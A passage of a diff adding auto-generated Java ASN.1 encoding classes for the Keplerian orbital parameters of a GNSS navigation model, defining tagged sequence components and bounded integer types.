+ @Override public Asn1Object getComponentValue() {
+ return getKeplerIDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerIDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerIDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerIDot : "
+ + getKeplerIDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerAPowerHalf() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerAPowerHalf();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerAPowerHalfToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerAPowerHalfType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerAPowerHalf : "
+ + getKeplerAPowerHalf().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerI0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerI0();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerI0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerI0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerI0 : "
+ + getKeplerI0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerOmega0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerOmega0();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerOmega0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerOmega0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerOmega0 : "
+ + getKeplerOmega0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCrs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCrs();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCrsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerCrsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCrs : "
+ + getKeplerCrs().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCis();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerCisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCis : "
+ + getKeplerCis().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCus();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerCusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCus : "
+ + getKeplerCus().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCrc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCrc();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCrcToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerCrcType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCrc : "
+ + getKeplerCrc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCic();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerCicType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCic : "
+ + getKeplerCic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 15);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeplerCuc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeplerCuc();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeplerCucToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_KeplerianSet.keplerCucType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keplerCuc : "
+ + getKeplerCuc().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerToeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerToeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerToeType() {
+ super();
+ setValueRange("0", "16383");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerToeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerToeType != null) {
+ return ImmutableList.of(TAG_keplerToeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerToeType from encoded stream.
+ */
+ public static keplerToeType fromPerUnaligned(byte[] encodedBytes) {
+ keplerToeType result = new keplerToeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerToeType from encoded stream.
+ */
+ public static keplerToeType fromPerAligned(byte[] encodedBytes) {
+ keplerToeType result = new keplerToeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerToeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerWType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerWType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerWType() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerWType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerWType != null) {
+ return ImmutableList.of(TAG_keplerWType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerWType from encoded stream.
+ */
+ public static keplerWType fromPerUnaligned(byte[] encodedBytes) {
+ keplerWType result = new keplerWType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerWType from encoded stream.
+ */
+ public static keplerWType fromPerAligned(byte[] encodedBytes) {
+ keplerWType result = new keplerWType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerWType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerDeltaNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerDeltaNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerDeltaNType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerDeltaNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerDeltaNType != null) {
+ return ImmutableList.of(TAG_keplerDeltaNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerDeltaNType from encoded stream.
+ */
+ public static keplerDeltaNType fromPerUnaligned(byte[] encodedBytes) {
+ keplerDeltaNType result = new keplerDeltaNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerDeltaNType from encoded stream.
+ */
+ public static keplerDeltaNType fromPerAligned(byte[] encodedBytes) {
+ keplerDeltaNType result = new keplerDeltaNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerDeltaNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerM0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerM0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerM0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerM0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerM0Type != null) {
+ return ImmutableList.of(TAG_keplerM0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerM0Type from encoded stream.
+ */
+ public static keplerM0Type fromPerUnaligned(byte[] encodedBytes) {
+ keplerM0Type result = new keplerM0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerM0Type from encoded stream.
+ */
+ public static keplerM0Type fromPerAligned(byte[] encodedBytes) {
+ keplerM0Type result = new keplerM0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerM0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerOmegaDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerOmegaDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerOmegaDotType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerOmegaDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerOmegaDotType != null) {
+ return ImmutableList.of(TAG_keplerOmegaDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerOmegaDotType from encoded stream.
+ */
+ public static keplerOmegaDotType fromPerUnaligned(byte[] encodedBytes) {
+ keplerOmegaDotType result = new keplerOmegaDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerOmegaDotType from encoded stream.
+ */
+ public static keplerOmegaDotType fromPerAligned(byte[] encodedBytes) {
+ keplerOmegaDotType result = new keplerOmegaDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerOmegaDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerEType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerEType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerEType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerEType != null) {
+ return ImmutableList.of(TAG_keplerEType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerEType from encoded stream.
+ */
+ public static keplerEType fromPerUnaligned(byte[] encodedBytes) {
+ keplerEType result = new keplerEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerEType from encoded stream.
+ */
+ public static keplerEType fromPerAligned(byte[] encodedBytes) {
+ keplerEType result = new keplerEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerEType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerIDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerIDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerIDotType() {
+ super();
+ setValueRange("-8192", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerIDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerIDotType != null) {
+ return ImmutableList.of(TAG_keplerIDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerIDotType from encoded stream.
+ */
+ public static keplerIDotType fromPerUnaligned(byte[] encodedBytes) {
+ keplerIDotType result = new keplerIDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerIDotType from encoded stream.
+ */
+ public static keplerIDotType fromPerAligned(byte[] encodedBytes) {
+ keplerIDotType result = new keplerIDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerIDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerAPowerHalfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerAPowerHalfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerAPowerHalfType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerAPowerHalfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerAPowerHalfType != null) {
+ return ImmutableList.of(TAG_keplerAPowerHalfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerAPowerHalfType from encoded stream.
+ */
+ public static keplerAPowerHalfType fromPerUnaligned(byte[] encodedBytes) {
+ keplerAPowerHalfType result = new keplerAPowerHalfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerAPowerHalfType from encoded stream.
+ */
+ public static keplerAPowerHalfType fromPerAligned(byte[] encodedBytes) {
+ keplerAPowerHalfType result = new keplerAPowerHalfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerAPowerHalfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerI0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerI0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerI0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerI0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerI0Type != null) {
+ return ImmutableList.of(TAG_keplerI0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerI0Type from encoded stream.
+ */
+ public static keplerI0Type fromPerUnaligned(byte[] encodedBytes) {
+ keplerI0Type result = new keplerI0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerI0Type from encoded stream.
+ */
+ public static keplerI0Type fromPerAligned(byte[] encodedBytes) {
+ keplerI0Type result = new keplerI0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerI0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerOmega0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerOmega0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerOmega0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerOmega0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerOmega0Type != null) {
+ return ImmutableList.of(TAG_keplerOmega0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerOmega0Type from encoded stream.
+ */
+ public static keplerOmega0Type fromPerUnaligned(byte[] encodedBytes) {
+ keplerOmega0Type result = new keplerOmega0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerOmega0Type from encoded stream.
+ */
+ public static keplerOmega0Type fromPerAligned(byte[] encodedBytes) {
+ keplerOmega0Type result = new keplerOmega0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerOmega0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCrsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCrsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCrsType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCrsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCrsType != null) {
+ return ImmutableList.of(TAG_keplerCrsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCrsType from encoded stream.
+ */
+ public static keplerCrsType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCrsType result = new keplerCrsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keplerCrsType from encoded stream.
+ */
+ public static keplerCrsType fromPerAligned(byte[] encodedBytes) {
+ keplerCrsType result = new keplerCrsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "keplerCrsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keplerCisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_keplerCisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keplerCisType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keplerCisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keplerCisType != null) {
+ return ImmutableList.of(TAG_keplerCisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keplerCisType from encoded stream.
+ */
+ public static keplerCisType fromPerUnaligned(byte[] encodedBytes) {
+ keplerCisType result = new keplerCisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
